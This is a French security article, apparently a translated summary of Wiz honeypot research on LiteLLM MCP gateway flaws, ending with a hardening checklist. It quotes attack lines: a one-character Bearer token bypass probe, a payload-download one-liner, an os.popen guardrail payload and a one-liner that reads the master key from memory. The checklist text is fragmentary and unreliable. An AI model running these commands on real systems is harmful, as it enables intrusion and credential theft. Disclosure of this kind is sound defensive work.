Comment un jeton porteur d’un seul caractère a permis d’ouvrir le gateway MCP de LiteLLM
Les pièges à miel ont permis d’attraper des attaquants qui abusaient d’une dérogation à l’authentification MCP de LiteLLM ainsi que d’une faille d’exécution de code. Voici la chaîne d’attaque et une liste de contrôle en six étapes pour la renforcer.
Sources: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
Pendant une période de 90 jours, Wiz Research a mis en œuvre des serveurs d’appât inspirés d’outils d’intelligence artificielle réels, tels que LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI et Node-RED, afin d’enregistrer les tentatives d’accès. Des attaquants réels ont bien essayé de s’infiltrer. Le résultat principal n’a pas été une faille zero-day : il s’agissait plutôt d’un gestionnaire d’erreurs dans le protocole Model Context Protocol (MCP) de LiteLLM qui interprétait « Je ne reconnais pas ce token » comme « Ce token est valide ». Un token Bearer d’une seule caractère suffisait pour pénétrer le système. LiteLLM étant un gateway populaire permettant aux applications de communiquer avec plusieurs fournisseurs de modèles via une seule interface, les équipes qui l’utilisent devraient consacrer dix minutes à cette précaution.
L’évitement par un seul caractère
Cette faille est identifiée sous le numéro CVE-2026-59822. L’endpoint MCP de LiteLLM est conçu pour valider un jeton Bearer avant d’autoriser l’accès à tous les serveurs MCP auxquels une organisation est connectée, tels que Jira, Slack, des bases de données internes et des pipelines CI/CD. Dans le cas du bug en question, un jeton qui n’a pas passé la vérification normale de LiteLLM a provoqué une erreur 401 ; le code a détecté cette erreur et renvoyé un objet d’authentification vide. Un objet vide ne signifie pas refus d’accès, mais plutôt qu’une authentification non spécifique a eu lieu, et la couche MCP l’a acceptée.
La requête envoyée par les attaquants était aussi courte que possible :
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Si la réponse contenait l’en-tête mcp-session-id, la session était ouverte, offrant un accès à tous les outils MCP que le proxy pouvait atteindre, sans aucune identifiante valide. Les honeypots enregistraient les tentatives d’exploration en temps réel, et ce CVE a été inscrit sur la liste des vulnérabilités déjà exploitées de CISA.
De session ouverte à minier cryptographique
Une session MCP ouverte était déjà problématique en soi, mais les attaquants ont combiné plusieurs techniques. Wiz a documenté le contournement qui menait au CVE-2026-42271, une faille d’injection de commandes dans les points de terminaison de test et de configuration de MCP, où une configuration serveur malveillante déclenchait l’exécution de sous-processus dangereux. La méthode était simple : enregistrer une configuration MCP fictive, la faire télécharger et exécuter un minier cryptographique, puis supprimer le répertoire temporaire afin qu’un simple ls ne montre rien. Une étape typique de téléchargement ressemblait à ceci :
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Une partie de ces activités est liée au groupe de rançongiciels Qilin. Les habitudes d’évasion sont plus importantes que les numéros CVE. Les mineurs de cryptomonnaies étaient placés dans /tmp/.dbus-cache/, les binaires étaient renommés en noms tels que unicorn, et une campagne a stocké son payload dans /app/data/.claude/, un dossier conçu pour ressembler à un répertoire de configuration de Claude Code, afin qu’il paraisse être un outil normal et non une intrusion.
Un deuxième bug : exécution de code par des mécanismes de protection
LiteLLM présentait un problème distinct, tout aussi grave, le CVE-2026-59821, lié aux règles de sécurité personnalisées. Cette fonctionnalité permet aux administrateurs de télécharger des extraits de code Python qui analysent les requêtes entrantes. Le point d’entrée de téléchargement compilait et exécutait l’extrait à l’aide de exec(compile(...)), laissant __builtins__ en place et autorisant toute importation. Une session d’administrateur, ou une session non authentifiée comme décrit ci-après, pouvait donc enregistrer une règle de sécurité fictive telle que :
import os
_cmd = os.popen('id').read().strip()
et recevoir la sortie de la commande à nouveau dans le champ block-reason d’une réponse ultérieure. La version 1.82.0 corrige ce problème en imposant le rôle administrateur sur les endpoints de protection et en supprimant __builtins__ avant compilation. Avec une version plus ancienne, un correctif est urgent, car le prochain problème aggravera la situation.
La configuration par défaut qui a permis son déploiement
Le détail qui fait de cela un incident et non une simple correction de routine : en l’absence de clé maîtresse définie, LiteLLM traitait chaque appelant comme PROXY_ADMIN. Il ne s’agissait pas d’un accès en lecture seule ou restreint ; c’était un accès administrateur complet, y compris l’accès aux fonctionnalités de contrôle, et de nombreuses déploiements n’avaient jamais défini de clé. Lorsque les chercheurs ont analysé des instances publiques, environ une sur dix (9,6 % de 3 074) utilisaient encore la clé par défaut sk-1234 ou ne vérifiait rien du tout. Ajoutez à cela le contournement de MCP et la faille d’exécution des mécanismes de contrôle, et on obtient plusieurs voies indépendantes et faciles d’accès à une même machine.
Recherche dans la mémoire, pas dans les fichiers
Wiz qualifie cette étape suivante de « post-exploitation native de l’IA », et la partie spécifique à l’IA correspond à ce que les attaquants cherchaient une fois qu’ils avaient obtenu un accès shell. Ils ciblaient la mémoire du processus en cours d’exécution, et non les fichiers sur le disque :
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Cette seule ligne lit la clé maîtresse du proxy directement de la mémoire, sans accès au disque. À partir de là, les intrus ont listé des chemins de configuration tels que /app/litellm_config.yaml et ~/.litellm/config.yaml, ont déterminé quels modèles backend étaient associés, et ont choisi des cibles en fonction de ce que le proxy pouvait atteindre. Un pare-feu de ce type constitue une cible bien plus précieuse qu’un serveur d’applications ordinaire. Les données de télémétrie de Wiz montrent qu’un proxy peut souvent conserver en même temps des clés actives pour OpenAI, Anthropic, Azure OpenAI et Gemini ; ainsi, une seule lecture de mémoire révèle les informations de quatre fournisseurs.
Liste de contrôle plutôt que numéros CVE
- Vérifiez la version. LiteLLM 1.84.0 ou ultérieure corrige le problème de contournement MCP, et 1.82.0 ou ultérieure corrige la faille d’exécution des règles de sécurité. Si vous êtes en retard pour l’une ou l’autre version, prévoyez un après-midi pour effectuer la mise à jour.
sk-1234 ni vide. Exécutez echo $LITELLM_MASTER_KEY et assurez-vous qu’il ne s’agit pas de la valeur par défaut du tutoriel collée il y a longtemps.PROXY_ADMIN. Après application du correctif, le rôle par défaut devient INTERNAL_USER, mais les déploiements existants ne sont pas automatiquement downgradés, il faut donc vérifier manuellement les attributions de rôles.curl ou python3 -c, plus que dans les journaux d’accès classiques.Un gateway IA mérite d’être traité comme un véritable coffre-fort pour les identifiants, et non comme un proxy pratique mis en place une fois pour toutes puis oublié. La faille d’authentification n’était pas particulièrement complexe : il s’agissait simplement d’un bloc try/except qui absorbait l’erreur incorrecte, et les attaquants l’ont déjà exploitée dans la réalité.